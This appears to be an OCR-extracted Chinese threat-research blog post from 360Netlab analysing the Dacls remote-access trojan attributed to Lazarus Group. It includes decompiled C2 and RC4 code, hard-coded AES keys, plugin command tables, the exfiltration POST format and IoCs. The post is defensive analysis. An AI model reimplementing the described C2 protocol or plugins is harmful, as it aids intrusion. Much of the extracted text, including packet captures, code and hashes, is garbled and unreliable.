```
Netlab Blog - Network Security Research Lab at 360
                                                                               Lazarus Group使用Dacls RAT攻击Linux
                                                                                                                                                平台
                                                                                    背景介绍
                                                                                    2019年10月25号, 360Netlab未知威胁检测系统发现一个可疑的ELF文件
                                                                                    (8ocoefb9e129f7f9b05a783df6959812)。一开始, 我们以为这是在我们发现的Unknown
                                                                                    Botnet中比较平凡的一个,并且在那时候VirusTotal上有2款杀毒引擎能够识别。当我们
                                                                                    关联分析它的相关样本特征和IoC时,我们发现这个案例跟Lazarus Group有关,并决定
                                                                                    深入分析它。
                                                                                    目前,业界也从未公开过关于Lazarus Group针对Linux平台的攻击样本和案例。通过详
                                                                                    细的分析,我们确定这是一款功能完善,行为隐蔽并适用于Windows和Linux平台的RAT
                                                                                    程序, 并且其幕后攻击者疑似Lazarus Group。
                                                                                    事实上,这款远程控制软件相关样本早在2019年5月份就已经出现,目前在VirusTotal上
                                                                                    显示被26款杀毒软件厂商识别为泛型的恶意软件,但它还是不为人所知,我们也没有找
                                                                                    到相关分析报告。所以, 我们会详细披露它的一些技术特征, 并根据它的文件名和硬编码
                                                                                    字符串特征将它命名为Dacls。
                                                                                    Dacls 概览
                                                                                    Dacls是一款新型的远程控制软件,包括Windows和Linux版本并共用C2协议,我们将它
                                                                                    们分别命名为Win32.Dacls和Linux.Dacls。它的功能模块化,C2协议使用TLS和RC4双层
                                                                                    加密,配置文件使用AES加密并支持C2指令动态更新。其中Win32.Dacls的插件模块是通
                                                                                    过远程URL动态加载,而Linux版本的插件是直接编译在Bot程序里。我们已经确认在
                                                                                    Linux.Dacls中包含6个插件模块:执行命令,文件管理,进程管理,测试网络访问,C2连接
                                                                                    代理, 网络扫描。
                                                                                    如何关联上 Lazarus Group
                                                                                    □先, 我们通过样本 80c0efb9e129f7f9b05a783df6959812 中的硬编码字符串特征 c 291
                                                                                    0.cls 和 k_3872.cls, 在VirusTotal上找到了5个样本, 我们从这些样本代码和相同的C2
                                                                                    指令码上可以确认它们是同□套RAT程序,并且分别适□于Windows和Linux平台。
                                                                                    其中口个Wing2.Dacls样本 6de65fc57a4428ad7e262e980a7f6cc7, 它的下载地址为 http
                                                                                    社区□户@raeezabdulla留□中将它标记为Lazarus Group,并引□了□篇报告《CES
                                                                                    Themed Targeting from Lazarus》。然后,我们通过这个下载地址我们关联到另口个
                                                                                    NukeSped样本 b578ccf307d55d3267f98349e20ecff1, 它的下载地址为 http://thevaga
                                                                                    bondsatchel.com/wp-content/uploads/2019/09/public.avi。在2019年10口份,这个
                                                                                    NukeSped样本 b578ccf307d55d3267f98349e20ecff1 曾被推特口户@cyberwar_15标记
                                                                                    为Lazarus Group。
                                                                                    另外,我们也在Google上搜到到很多Lazarus Group的分析报告和□些开源威胁情报数
                                                                                    据,并指出 thevagabondsatchel.com 曾被Lazarus Group口于存放样本。
                                                                                    所以, 我们推测Dacls RAT的幕后攻击者是Lazarus Group。
                                                                                    Downloader服务器
                                                                                    我们在疑似被感染的下载服务器 http://www.areac-agr.com/cms/wp-content/uploads
                                                                                    /2015/12/上找到了一系列样本, 其中包括Win32.Dacls和Linux.Dacls, 开源程序Socat,
                                                                                    以及Confluence CVE-2019-3396 Payload。所以,我们推测Lazarus Group曾经利用
                                                                                    CVE-2019-3396 N-day漏洞传播Dacls Bot程序。
                                                                                       ND5 (check.vm) = a99b7ef095f44cf35453465c64f0c70c //Confluence CVE-2019-3396 Payload ND5 (hdata.dat) = 982bf327b9fe16205fea606dlbeed7fa //Log Collector ND5 (ldata.dat) = 80c0efb9e129ff9b05a783df6959812 //Linux Dacls Bot ND5 (mdata.dat) = 80c0efb9e129ff9b05a783df6959812 //Linux Dacls Bot ND5 (r.vm) = a99b7ef095f44cf35453465c64f0c70c //Confluence CVE-2019-3396 Payload ND5 (rdata.dat) = bea49839390e4f1eb3cb38d0fcaf897e //Windows Dacls Bot ND5 (sdata.dat) = e883bf5fd22eb6237eb84d80bbcf2ac9 //Open-Source Socat
                                                                                    逆向分析
                                                                                    Log Collector样本分析
                                                                                     \bullet \quad \text{MD5: } 982bf527b9fe16205fea606d1beed7fa \\
                                                                                          ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked,
                                                                                         no section header
                                                                                    这个样本的功能很简单,它通过运行参数指定日志搜集接口然后收集目标主机信息。它
                                                                                    会避开扫描一些指定的根目录和二级目录,并把检索到的文件路径写入 /tmp/hdv.log。
                                                                                    日志记录格式示例
                                                                                    最后通过执行系统tar命令把日志文件压缩 tar -cvzf /tmp/hdv.rm /tmp/hdv.log 并上
                                                                                    传到指定日志搜集接口。
                                                                                    Linux.Dacls样本分析
                                                                                     \bullet \quad \text{MD5: } 80 coefb 9 e 129 f 7 f 9 b 0 5 a 7 8 3 d f 6 9 5 9 8 1 2 \\
                                                                                         ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked,
                                                                                         for GNU/Linux 3.2.0,
                                                                                         BuildID[sha1] = e14724498374cb9b80a77b7bfeb1d1bd342ee139, stripped\\
                                                                                    Linux.Dacls Bot主要功能包括: 执行命令, 文件管理, 进程管理, 测试网络访问, C2连接
                                                                                    代理, 网络扫描模块。
                                                                                    初始化行为
                                                                                    Linux.Dacls Bot启动后以daemon方式后台运行,并通过启动参数 /pro, Bot PID文件 /v
                                                                                    ar/run/init.pid 和Bot进程名 /proc/<pid>/cmdline, 来区分不同运行环境, 我们猜测
                                                                                    可能是用于Bot程序升级。
                                                                                                                   Check argv[1] */pro*
                                                                                                                                                                           Load config
file
                                                                                    配置文件 .memcahce
                                                                                    Linux.Dacls Bot配置文件固定存放在 $HOME/.memcache,文件内容固定为ox8E20+4个
                                                                                    字节。如果Bot启动后找不到配置文件,就会根据样本中硬编码的信息,使用AES加密生
                                                                                    成默认的配置文件,当Bot和C2通信后还会继续更新配置文件。
                                                                                    数据结构
                                                                                    我们把配置文件的数据结构信息定义为struct_global_cfg,这里存放了Bot运行参数,C2
                                                                                    信息, 和插件信息等。
                                                                                          inc c2_num;
struct_c2_content c2_list[3];
char unknown_filed_186C[14340];
struct_plugin_cfg_data_plug_cfg_data_list[15];
                                                                                    AES 加密算法
                                                                                     • AES, CBC Mode
                                                                                    • Key: Ao D2 89 29 27 78 75 F6 AA 78 C7 98 39 Ao 05 ED
                                                                                     • IV: 39 18 82 62 33 EA 18 BB 18 30 78 97 A9 E1 8A 92
                                                                                    解密配置文件
                                                                                    我们把配置文件解密后,可以看到配置文件中一些明文信息,例如:会话ID,版本信息,
                                                                                    重新连接C2时间, C2信息等, 当成功连接C2后配置文件会根据C2指令更新, 比如在配置
                                                                                    文件中增加Bot支持的插件信息, 更新C2信息等。
                                                                                            Linux.Dacls Bot和C2通信主要分为3个阶段,并采用了TLS和RC4双层加密算法,保障数
                                                                                    据通信安全。第1阶段是建立TLS连接,第2阶段是双方协议认证过程(Malware
                                                                                    Beaconing), 第3阶段是Bot发送RC4加密后的数据。
                                                                                    SSL 连接
                                                                                    2019-10-25 13:01:01.905553 12:2.108.40.138 172;93:201.219 TCP 74:54241 + 443 [57h] Seq-0 Min-14460 Enn-0 RS5-1440 SACK, PERH 1 Tsya1-07809 TSecr-0 KS-4 2019-10-25 13:01:02.303760 172:93:201.219 192:168:40-138 TCP 60:483 - SS241 [57h] KSS241 - 443 [57h] Seq-0 Min-14460 Enn-0 RS5-1440 SACK, PERH 1 Tsya1-07809 TSecr-0 KS-4 2019-10-25 13:01:02.303760 172:93:01-120:01-120:01-120:01-120:01-120:01-120:01-120:01-120:01-120:01-120:01-120:01-120:01-120:01-120:01-120:01-120:01-120:01-120:01-120:01-120:01-120:01-120:01-120:01-120:01-120:01-120:01-120:01-120:01-120:01-120:01-120:01-120:01-120:01-120:01-120:01-120:01-120:01-120:01-120:01-120:01-120:01-120:01-120:01-120:01-120:01-120:01-120:01-120:01-120:01-120:01-120:01-120:01-120:01-120:01-120:01-120:01-120:01-120:01-120:01-120:01-120:01-120:01-120:01-120:01-120:01-120:01-120:01-120:01-120:01-120:01-120:01-120:01-120:01-120:01-120:01-120:01-120:01-120:01-120:01-120:01-120:01-120:01-120:01-120:01-120:01-120:01-120:01-120:01-120:01-120:01-120:01-120:01-120:01-120:01-120:01-120:01-120:01-120:01-120:01-120:01-120:01-120:01-120:01-120:01-120:01-120:01-120:01-120:01-120:01-120:01-120:01-120:01-120:01-120:01-120:01-120:01-120:01-120:01-120:01-120:01-120:01-120:01-120:01-120:01-120:01-120:01-120:01-120:01-120:01-120:01-120:01-120:01-120:01-120:01-120:01-120:01-120:01-120:01-120:01-120:01-120:01-120:01-120:01-120:01-120:01-120:01-120:01-120:01-120:01-120:01-120:01-120:01-120:01-120:01-120:01-120:01-120:01-120:01-120:01-120:01-120:01-120:01-120:01-120:01-120:01-120:01-120:01-120:01-120:01-120:01-120:01-120:01-120:01-120:01-120:01-120:01-120:01-120:01-120:01-120:01-120:01-120:01-120:01-120:01-120:01-120:01-120:01-120:01-120:01-120:01-120:01-120:01-120:01-120:01-120:01-120:01-120:01-120:01-120:01-120:01-120:01-120:01-120:01-120:01-120:01-120:01-120:01-120:01-120:01-120:01-120:01-120:01-120:01-120:01-120:01-120:01-120:01-120:01-120:01-120:01-120:01-120:01-120:01-120:01-120:01-120:01-120:01-120:01-120:01-120:01-120:01-120:01-120:01-120:01-120:01-120:01-120:01-120:01-120:01-120:01-120:01-
                                                                                                                                          协议认证
                                                                                    建立SSL连接会发送若干次Beacon消息和C2互相确认身份。
                                                                                      CMD DIRECTION ENCRYPTED DESCRIPTION
                                                                                     0x20000 send
                                                                                                               no
                                                                                                                                  Beacon
                                                                                      0x20100 recv
                                                                                                              no
                                                                                                                                Beacon
                                                                                                                                Beacon
                                                                                     0x20200 send
                                                                                                               no
                                                                                    RC4 加密和解密流程
                                                                                     • RC4 Key生成算法, 完全由随机函数生成, Key长度范围:大于o且小于50
                                                                                             memset((_int64)_network_ctx->crypt_table1, 0LL, 0x102LL);
memset((_int64)_network_ctx->crypt_table2, 0LL, 0x102LL);
memset((_int64)_network_ctx->random_key_stream, 0LL, 0x100LL);
_network_ctx->random_key_stream_len = 0;
                                                                                               _network_ctx->random_key_stream_len = 0x10 * ((signed int)random() % 4) + 1;
for ( i = 0; i < _network_ctx->random_key_stream_len; ++i )
    _network_ctx->random_key_stream[i] = (signed int)random() % 0xFF;
                                                                                               __network_ctx->random_key_stream[i] = (signed int),
reand_tb_len = _network_ctx->random_key_stream_len;
if / feigned_int\wolf551_unita_A81785/
                                                                                     • 置换表生成算法,根据RC4 Key生成RC4加密用的置换表
                                                                                           char *__fastcall init_RC4_SBox_401C56(__int64 a1, char *SBox, char *_key, int _key_len)
                                                                                            char *result; // rax
int key_len; // [rsp+4h] [rbp-2Ch]
char *key; // [rsp+8h] [rbp-28h]
unsigned _int8 map_index; // [rsp+2Bh] [rbp-5h]
signed int i; // [rsp+2Ch] [rbp-4h]
signed int index; // [rsp+2Ch] [rbp-4h]
                                                                                             mmp_index 0;
while (index <= exFF)
{
    map_index += SBox[index] + key[index % key_len];
    result = swap_byte_401c22(a1, &5Box[index++], &5Box[map_index]);
}</pre>
                                                                                             }
return result;
                                                                                     • 加/解密算法, 根据置换表生成算法完成加/解密, 因为RC4是个对称加密算法, 所
                                                                                          以加/解密算法是一致的
                                                                                          __int64 __fastcall RC4_encrypt_decrypt_401D19(__int64 a1, char *SBox, __int64 encrypted_1, __int64 decrypted_1, int len)
                                                                                             result = (unsigned int)idx;
if ( idx >= encrypted_len )
break;
                                                                                             brak;
Shon[acas] * Shon[unsigned _int8)*Shon[exise]];
Shon[acas] * Shon[unsigned _int8)*Shon[exise]];
Shon[acas] * Shon[unsigned _int8)*Shon[exise]]);
Shon[unsigned _int8)*Shon[unsigned _int8)*Shon[exise]]);
* A correct of the shon of

    RC4解密示例

                                                                                          在完成协议认证之后, Bot向C2发送RC4 Key长度(头4个字节)和 RC4 Key数据。
                                                                                         C2收到加密Key,向Bot发送密文,解密后为0x00000700指令,之后Bot就会上传主机名
                                                                                    相关信息给C2。
                                                                                       密文:
fe 3c 2c d7 bf 08 e3 91 d7 00 lf d0
                                                                                       明文:
00 07 00 00 00 00 00 00 00 00 00 00
                                                                                    Linux.Dacls Bot接受的指令实际共12个字节, 但实际有效大小为4个字节, 并分成控制两
                                                                                    第一种模式: 当第3个字节为o, 控制Bot主逻辑。
                                                                                    以下是0x00000700指令对应的网络序数据包示例:模式为0x00. 指令2为0x07控制Bot
                                                                                    上传主机名信息
                                                                                      指令1 指令2 模式 未知
                                                                                      00 07 00 00
                                                                                    第二种模式: 当第3个字节为1, 控制加载插件逻辑。
                                                                                    以下是0x00010101指令对应的网络序数据包示例:模式为0x01, 指令1为0x01控制加载
                                                                                    编号为1的插件
                                                                                      指令1 指令2 模式 未知
                                                                                     01 01 01 00
                                                                                    Bot收到指令后, 执行成功返回ox20500, 执行失败返回ox20600。
                                                                                     • C2指令表, Bot主逻辑部分
                                                                                      MODULE CMD ENCRYPT DESCRIPTION
                                                                                      Core 0x00000601 Yes
                                                                                                                                上传C2配置信息
                                                                                                0x00000602 Yes
                                                                                                                              下载配置信息保存到 $HOME/.memcache
                                                                                      Core
                                                                                                                             要求Bot上传主机信息
                                                                                      Core 0x00000700 Yes
                                                                                                                             要求Bot发送心跳信息
                                                                                      Core 0x00000900 Yes
                                                                                     • C2指令表. Bot插件部分
                                                                                            /bin/bash
                                                                                                                0x00010000 Yes
                                                                                                                                               执行C2下发的bash命令
                                                                                                                                              连接到指定的C2执行下发的系统命令
                                                                                            /bin/bash
                                                                                                                0x00010002 Yes
                                                                                                                0x00010100 Yes
                                                                                                                                               写文件
                                                                                            plugin_file
                                                                                                                0x00010101 Yes
                                                                                                                                               读文件
                                                                                            plugin_file
                                                                                                                0x00010103 Yes
                                                                                           plugin_file
                                                                                                                0x00010104 Yes
                                                                                                                                               扫描目录结构
                                                                                           plugin_file
                                                                                                                0x00010110 Yes
                                                                                                                                               从指定url下载文件
                                                                                           plugin_file
                                                                                                                                               扫描并上传主机进程相关信息
                                                                                                                0x00010200 Yes
                                                                                        plugin_process
                                                                                                                0x00010201 Yes
                                                                                        plugin_process
                                                                                                                0x00010202 Yes
                                                                                                                0x00010204 Yes
                                                                                                                                               获得并上报进程PID和PPID
                                                                                                                0x00010300 Yes
                                                                                                                                               测试是否可以访问指定IP
                                                                                      plugin_reverse_p2p 0x00010400 Yes
                                                                                                                                               C2连接代理
                                                                                                                                               测试是否可以访问Log服务器
                                                                                                                0x00011100 Yes
                                                                                                                0x00011101 Yes
                                                                                                                                               上传公网端口扫描结果和命令执行输出
                                                                                                                0x00011102 Yes
                                                                                                                                               无操作
                                                                                     • C2通信流程图
                                                                                                                                 Bot
                                                                                                                                                                                 C2
                                                                                    插件模块
                                                                                    Linux.Dacls Bot采用静态编译的方式将插件和Bot本体代码编译在一起,通过发送不同
                                                                                    的指令调用不同的插件可以完成多种任务。我们分析的样本中共包含6个插件,由于插件
                                                                                    的配置信息是一块连续的结构体数组(oxoo~oxoe)。我们猜测Bot可能存在更多的插件。
                                                                                                                                       eax, [rbp+_t]
eax, 8
[rbp+plugin_num], al
eax, [rbp+_t]
[rbp+plugin_case_num], al
[rbp+plugin_num], 0Eh
short loc_40E03C
                                                                                    每个插件都会有相应的配置信息,它们会保存在Bot的配置文件 $HOME/.memcache 中,在
                                                                                    插件初始化时, 加载这些配置信息。
                                                                                    Bash插件是编号为o的插件,主要支持两个功能;接收C2服务器的下发的系统命令并执
                                                                                    行;C2通过指令下发临时C2,Bot然后连接到临时C2并执行临时C2下发的系统命令。
                                                                                           if ( cmd == 2 )
  *lp_callback = plugin_bin_bash_callback_cmd2_connect_to_tmp_c2_408D7C;
                                                                                           else
                                                                                                  esult = 0;
                                                                                        {
    *!p_callback = plugin_bin_bash_callback_cmd0_execv_407FD6;
                                                                                       return result;
                                                                                    File 插件
                                                                                    File插件主要功能是文件管理,除了支持对文件的读,写,删除,查找操作,还可以从指定
                                                                                    的下载服务器下载文件。
                                                                                         switch ( (unsigned int)jump_table_551F4C )
                                                                                                   *a2 = plugin_file_callback_writefile_4049BD;
                                                                                                  break;
                                                                                             case 1u:
                                                                                                   *a2 = plugin_file_callback_readfile_404F56;
                                                                                                 break;
                                                                                             case 3u:
                                                                                                   *a2 = plugin_file_callback_del_file_folder_405FE5;
                                                                                                 break:
                                                                                             case 4u:
                                                                                                   *a2 = plugin_file_callback_scandir_4055DA;
                                                                                                 break;
                                                                                                   *a2 = plugin_file_callback_downloadfile_406337;
                                                                                             default:
                                                                                                  reslut = 0;
                                                                                                 break;
                                                                                        }
                                                                                    Process 插件
                                                                                    Process插件的主要功能是进程管理,包括:杀死指定进程,创建daemon进程,获得当前
                                                                                    进程的PID和PPID, 以及获取进程列表信息。
                                                                                      if ( cmd == 1 )
{
   *a2 = plugin_process_callback_kill_porcess_407854;
                                                                                       }
else if ( (signed int)cmd > 1 )
                                                                                         if ( cmd == 2 )
{
   *a2 = plugin_porcess_callback_create_daemon_40792C;
                                                                                        "az = plugin_porcess_caliback_create_daemon_40/92C;
} else
{
    if ( cmd != 4 )
        return 0;
    *a2 = plugin_process_callback_getpid_getppid_4078C4;
}
                                                                                      }
else
                                                                                        if ( cmd )
   return 0;
*a2 = plugin_process_callback_scan_sys_process_list_406E46;
                                                                                      }
return v3;
                                                                                    如果Linux进程中的PID对应的 /proc/<pid>/task 目录存在, Bot样本会收集如下进程信
                                                                                     ● 从/proc/<pid>/cmdline 读取命令行全名
                                                                                     • 从/proc/<pid>/status中读取:
                                                                                                     //用户ID
//用户组ID
//父进程ID
                                                                                    Test插件的主要功能是通过连接C2指定的IP地址和端口, 测试其网络连通性。
                                                                                    Reverse P2P插件
                                                                                    Reverse P2P插件实际上是一种C2连接代理(Connection Proxy), 它通过下发控制命令
                                                                                    可以将指定的C2数据完整的转发到指定IP端口。这在Lazarus Group中是一种常见的降
                                                                                    低被检测风险的技术手段, 既可以减少目标主机连接数又可以隐藏目标主机和真实C2的
                                                                                    通信数据, 在某些场合还可以利用被感染的内网主机进一步渗透至隔离网段。
                                                                                    reverse_p2p插件初始化
                                                                                    |signed __int64 __usercall init_plugin_reverse_p2p_409343@<rax>(unsigned __int64 a1@<r12>, __int64 *a2@<r13>, __
                                                                                       __int128 v12; // di
                                                                                     当Bot收到指令后,先尝试连接指定的C2端口并发送0x21000指令,如果C2返回0x21300
                                                                                    说明C2连接成功。此时Bot会连接指令中指定的目标主机端口,如果连接成功会返回
                                                                                    0x21100给C2说明转发连接已经建立可以转发数据。接下来Bot会将C2发送过来的数据
                                                                                    完整的转发给目标主机,同时将目标主机的返回数据完整的返回给C2,直至任何一方中
                                                                                    以下是Reverse P2P插件工作流程图:
                                                                                            C2
                                                                                                                            Bot
                                                                                                                                                                                                           Target
                                                                                                                                                  _Connection proxy is ready_
0x21100
                                                                                    LogSend 插件
                                                                                    LogSend插件主要包括3个功能:测试连接Log服务器,随机扫描全网8291端口并上报给
                                                                                    Log服务器, 执行耗时较长的系统命令并将控制台输出结果实时上报给Log服务器。
                                                                                    LogSend插件初始化
                                                                                    LogSend相关操作回调函数
                                                                                       {
  *s2 = (_BOOL8 (__fastcall *)(__int64, __int64))plugin_logsend_callback_scanner_send_logserver_408041;
                                                                                      } else if ( a1 == 2 )
                                                                                        *a2 = (_BOOL8 (__fastcall *)(__int64, __int64))plugin_logsend_callback_just_return_0x20500_40B321;
                                                                                      } else if ( a1 )
                                                                                        v3 = 0;
                                                                                      }
else
                                                                                      {
    *a2 = (_BOOL8 (__fastcal1 *)(__int64, __int64))plugin_logsend_callback_check_logserver_48A2A4;
}
                                                                                    测试连接Log服务器
                                                                                    Bot收到指令后会向Log服务器发送一个测试请求。如果Log m务器返回 {"result":"ok"
                                                                                    」说明测试成功,此时C2就可以下发更多的LogSend指令。
                                                                                    使用C2指定的HTTP接口地址, 内置的User-Agent, 发送POST请求
                                                                                           ntent-Type: application/x=www-form-urlencoded
er-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome
cept: text/html,application/xhtml+xml,application/xml/q=0.9,*/*;q=0.8
                                                                                              pt-Language: en-us,en;q=0.5
pt-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
e-Control: no-cache
                                                                                    随机扫描全网8291端口并上报给Log服务器。
                                                                                    当Bot收到该指令后会按照3种规则随机生成公网IP地址并尝试连接8291端口,如果连接
                                                                                    成功就向log server回传扫描结果。
                                                                                    IP生成规则:
                                                                                    随机IP生成复法如下
                                                                                                                                                          loc_40A89F:
cmp eax, 172
jz short loc_40A8AF
                                                                                    我们可以看到Bot硬编码TCP/8291端口,并调用系统connect函数进行端口扫描,只检测
                                                                                    端口是否开放,不发送Payload数据。我们知道MikroTik Router设备的Winbox协议工作
                                                                                    在TCP/8291端口上,并暴露在互联网上,之前我们也披露了2篇文章关于TCP/8291端口
                                                                                    威胁事件[1][2]。
                                                                                                                                                    eax, [rbp+var_15C]
ax, 8291
[rbp+var_15E], ax
[rbp+var_15E], ax
[rbp+var_15E] eax, [rbp+var_15E]
eax, ax
edi, eax
ntohs
word ptr [rbp+uservaddr.sa_data], ax
eax, [rbp+var_148]
dword ptr [rbp+uservaddr.sa_data+2], eax
[rbp+var_130], 3
[rbp+var_12B], 0
rdx, [rbp+var_130]
r8d, 10h
rcx, rdx
edx, 15h
esi, 1
edi, eax
sys_setsockopt
rcx, [rbp+var_140]
rcx, rdx
edx, 15h
esi, 1
edi, eax
sys_setsockopt
rcx, [rbp+var_140]
edx, 10h
rcx, rdx
edx, 15h
esi, 1
edi, eax
sys_setsockopt
rcx, [rbp+var_140]
edx, 10h
rcx, rdx
edx, 15h
edi, eax
sys_setsockopt
rcx, [rbp+var_140]
edx, 10h
ight didrlen
rsi, rcx, ignervaddr
edx, eax
sys_connect
eax, eax
                                                                                                                                          mov
add
                                                                                                                                          mov
mov
call
lea
                                                                                                                                                                                        loc_40AABD:
                                                                                                               sys_close
rax, [rbp+time]
rdi, rax
time_4E7190
[rbp+time], rax
rax, [rbp+time]
rdi, rax
get_datetime
                                                                                                                                                                                                   eax, [rbp+fd]
edi, eax
                                                                                                     mov
call
mov
lea
mov
call
mov
lea
mov
lea
mov
call
movsx
mov
mov
lea
mov
push
mov
lea
mov
push
mov
lea
mov
push
mov
lea
mov
                                                                                                                                                                                                   [rbp+var_15C], 1
                                                                                                               rdi, rax
gst_datetime
[rbpvdate_time], rax
rdx, [rbppdate_time] rax
rdx, [rbppdate_time]
rcx, rdx
rdx, avMDX ; "%Y-%m-%d %X"
esi, 100h
rdi, rax
format_result_4EA360
esi, [rbpvar_156]
r8d, [rbppvar_156]
r8d, [rbpprand_trans]
ecx, [rbpvar_datetime]
rax, [rbpvar_datetime]
rax, [rbpvar_170]
rsi
esi, [rbpvar_170
                                                                                    执行耗时较长的bash命令,并将控制台输出实时上报给Log服务器。
                                                                                            return OLL;
if ( (signed int)sys_fcntl(fd, 4, 0x800LL) >= 0 )
                                                                                               if ( (signed int)fork_execv_40A1E2((__int64)&cmd, v37, v37) > 0 )
                                                                                                 start_time = time_4E7190();
log_value[0] = 0;
buf_used_len = 0;
while ( 1 )
                                                                                                       cur_time = time_4E7190();
if ( cur_time - start_time > 1800 && buf_used_len > 0 )
                                                                                                       log_value[0] = 0;
buf_used_len = 0;
                                                                                                           start_time = cur_time;
                                                                                    执行bash命令并转发输出给Log服务器
                                                                                    所有上报的Log数据都以HTTP POST的方式提交。Payload部分的格式如下:
                                                                                    log=save&session_id=<session id>&value=<log content>
                                                                                      session_id[0] = "session_id";
session_id[1] = &rcv_buf;
                                                                                       value[0] = "value";
value[1] = (_QWORD *)log_value;
                                                                                       fd = send_data_to_c2_402CA1((__int64)&url, 3u, (__int64)log_action);
                                                                                          \label{eq:pos_sign} \begin{array}{ll} pos = strstr((\_int64)\&rcv\_buf, \ (\_int64)"\r\n"); \\ \text{if ( pos )} \end{array}
                                                                                              if ( !(unsigned int)strcmp(pos + 4, (_int64)"{\"result\":\"ok\"}") )
    result = 1;
                                                                                      }
if ( fd > 0 )
sys_close(fd);
                                                                                    处置建议
                                                                                    我们建议Confluence用户及时更新补丁,并根据Dacls RAT创建的进程,文件名以及TCP
                                                                                    网络连接特征, 判断是否被感染, 然后清理它的相关进程和文件。
                                                                                    我们建议读者对Dacls RAT相关IP, URL和域名进行监控和封锁。
                                                                                    相关安全和执法机构,可以邮件联系netlab[at]360.cn交流更多信息。
                                                                                    感兴趣的读者,可以在 twitter 或者在微信公众号 360Netlab 上联系我们。
                                                                                    IoC list
                                                                                    样本MD5
                                                                                    硬编码C2 IP:
                                                                                                                  United States
Canada
United States
United States
United States
United States
                                                                                    URL
                                                                                                                                           JINYE, GENSHEN YE
                                                                                                                                                  Dacls
                                                                                                                                         Dacls, the Dual platform RAT
                                                                        Dacls, the Dual platform RAT
                                                                        Background\ On\ October\ 25, 2019, a\ suspicious\ ELF\ file\ (80coefb9e129f7f9b05a783df6959812)\ was\ flagged\ by\ our\ new\ threat\ monitoring\ system.\ At the property of the property of
                                                                        first glance, it seems to be just another one of the
                                                                        (6)
                                                                        The awaiting Roboto Botnet
                                                                        Background\ introduction\ On\ August\ 26,\ 2019,\ our\ 360 Netlab\ Unknown\ Threat\ Detection\ System\ highlighted\ a\ suspicious\ ELF\ files the suspicious\ ELF\ files\ fi
                                                                        (4cd7bcd0960a69500aa80f32762d72bc) and passed along to our researchers to take a closer look, upon further analysis, we
```

(